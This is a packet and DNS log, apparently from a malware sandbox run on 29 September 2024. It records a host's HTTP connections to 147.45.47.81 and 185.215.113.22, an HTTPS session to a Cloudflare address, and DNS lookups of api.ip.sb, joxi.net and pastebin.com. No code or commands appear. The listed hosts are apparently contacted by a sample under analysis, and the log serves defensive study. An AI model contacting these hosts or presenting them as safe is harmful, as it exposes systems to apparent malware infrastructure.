Sep 29, 2024 09:44:15.458723068 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458755016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458767891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458787918 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458805084 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458822012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458856106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458889961 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.458909988 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.458941936 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.528743029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528811932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528845072 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528877020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528892994 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.528911114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528925896 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.528944016 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.528976917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.529009104 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.529016018 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.529053926 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.541745901 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.541795969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.541843891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.541846037 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.541877985 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.541929960 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.541976929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.541979074 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542021990 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542027950 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542062044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542093039 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542135000 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542141914 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542175055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542187929 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542226076 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542274952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542308092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542320967 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542347908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542356968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542391062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542421103 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542453051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542473078 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542496920 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542500973 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542536020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542567015 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542598963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542610884 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542634010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542637110 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542666912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542716980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542749882 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542761087 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542781115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542793036 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542814970 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542862892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542895079 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542917013 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542926073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542943001 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.542958975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.542995930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543040991 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543045044 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543077946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543096066 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543126106 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543158054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543190002 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543203115 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543222904 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543232918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543257952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543288946 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543322086 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543332100 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543354034 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543361902 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543423891 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543457031 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543493032 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543500900 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543520927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543541908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543555021 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543586969 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543618917 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543628931 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543652058 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543663025 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543683052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543716908 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543749094 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543766022 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543781996 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543792009 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543813944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543847084 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543876886 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543889046 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543909073 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543920040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.543941975 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.543975115 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544006109 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544028044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544039011 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544049978 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544070959 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544104099 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544133902 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544148922 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544167042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544182062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544198990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544231892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544264078 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544276953 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544298887 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544306040 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544348955 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544382095 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544430017 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544431925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544464111 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544471979 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544496059 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544548988 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544599056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544600010 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544631958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544645071 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544666052 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544698954 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544728041 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544749975 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544769049 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544774055 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544806957 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544853926 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544888020 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544898987 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544919968 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544930935 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.544954062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.544985056 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545017004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545028925 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545049906 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545059919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545082092 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545114040 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545145035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545165062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545176029 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545188904 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545209885 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545242071 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545274019 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545288086 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545305014 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545315981 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545337915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545370102 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545403004 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545409918 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545437098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545445919 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545470953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545501947 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545535088 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545543909 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545567989 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545577049 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545599937 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545630932 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545663118 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545679092 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.545697927 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.545703888 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.598324060 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.615983963 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616022110 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616055012 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616075039 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.616103888 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616137028 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616168022 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616182089 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.616202116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.616211891 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.616235971 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.618706942 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.628901958 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.628952980 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.628984928 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629002094 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629033089 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629066944 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629098892 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629120111 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629132986 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629147053 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629183054 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629231930 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629264116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629278898 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629309893 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629321098 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629344940 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629396915 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629441023 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629446983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629491091 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629497051 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629528999 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629578114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629606009 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629623890 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629638910 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629656076 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629672050 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629704952 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629736900 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629749060 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629767895 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629781961 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629801035 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629832983 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629878044 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629884005 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629915953 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629925966 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.629949093 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.629981995 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630014896 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630031109 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630048037 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630060911 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630080938 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630111933 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630143881 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630157948 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630175114 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630191088 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630207062 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630239010 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630271912 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630292892 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630304098 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630316019 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630337954 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630371094 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630403042 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630418062 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630434990 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630450010 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630474091 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630502939 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630533934 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630549908 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630568027 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630580902 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630599976 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630633116 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630667925 CEST	80	49706	147.45.47.81	192.168.2.5
Sep 29, 2024 09:44:15.630681992 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.630718946 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:15.827929974 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:15.832959890 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:16.481069088 CEST	80	49704	185.215.113.22	192.168.2.5
Sep 29, 2024 09:44:16.498001099 CEST	49704	80	192.168.2.5	185.215.113.22
Sep 29, 2024 09:44:16.498703957 CEST	49706	80	192.168.2.5	147.45.47.81
Sep 29, 2024 09:44:22.358719110 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:22.363688946 CEST	80	49715	188.114.97.3	192.168.2.5
Sep 29, 2024 09:44:22.363817930 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:22.364132881 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:22.369108915 CEST	80	49715	188.114.97.3	192.168.2.5
Sep 29, 2024 09:44:23.040649891 CEST	80	49715	188.114.97.3	192.168.2.5
Sep 29, 2024 09:44:23.040699005 CEST	80	49715	188.114.97.3	192.168.2.5
Sep 29, 2024 09:44:23.040786982 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:23.040786982 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:23.044631004 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:23.044631004 CEST	49715	80	192.168.2.5	188.114.97.3
Sep 29, 2024 09:44:25.520895004 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:25.521006107 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:25.521087885 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:25.525257111 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:25.525295019 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:25.993392944 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:25.993465900 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:25.998485088 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:25.998526096 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:25.999067068 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.051466942 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:26.091984987 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:26.135411978 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193106890 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193226099 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193367958 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:26.193393946 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193491936 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193548918 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:26.193567038 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193696976 CEST	443	49716	104.20.3.235	192.168.2.5
Sep 29, 2024 09:44:26.193747044 CEST	49716	443	192.168.2.5	104.20.3.235
Sep 29, 2024 09:44:26.197185040 CEST	49716	443	192.168.2.5	104.20.3.235

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 09:44:08.530639887 CEST	62698	53	192.168.2.5	1.1.1.1
Sep 29, 2024 09:44:22.341588974 CEST	59957	53	192.168.2.5	1.1.1.1
Sep 29, 2024 09:44:22.350564003 CEST	53	59957	1.1.1.1	192.168.2.5
Sep 29, 2024 09:44:25.508187056 CEST	50642	53	192.168.2.5	1.1.1.1
Sep 29, 2024 09:44:25.515336990 CEST	53	50642	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 09:44:08.530639887 CEST	192.168.2.5	1.1.1.1	0x206b	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)	false
Sep 29, 2024 09:44:22.341588974 CEST	192.168.2.5	1.1.1.1	0xddce	Standard query (0)	joxi.net	A (IP address)	IN (0x0001)	false
Sep 29, 2024 09:44:25.508187056 CEST	192.168.2.5	1.1.1.1	0xe249	Standard query (0)	pastebin.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 09:44:08.537872076 CEST	1.1.1.1	192.168.2.5	0x206b	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Sep 29, 2024 09:44:22.350564003 CEST	1.1.1.1	192.168.2.5	0xddce	No error (0)	joxi.net		188.114.97.3	A (IP address)	IN (0x0001)	false
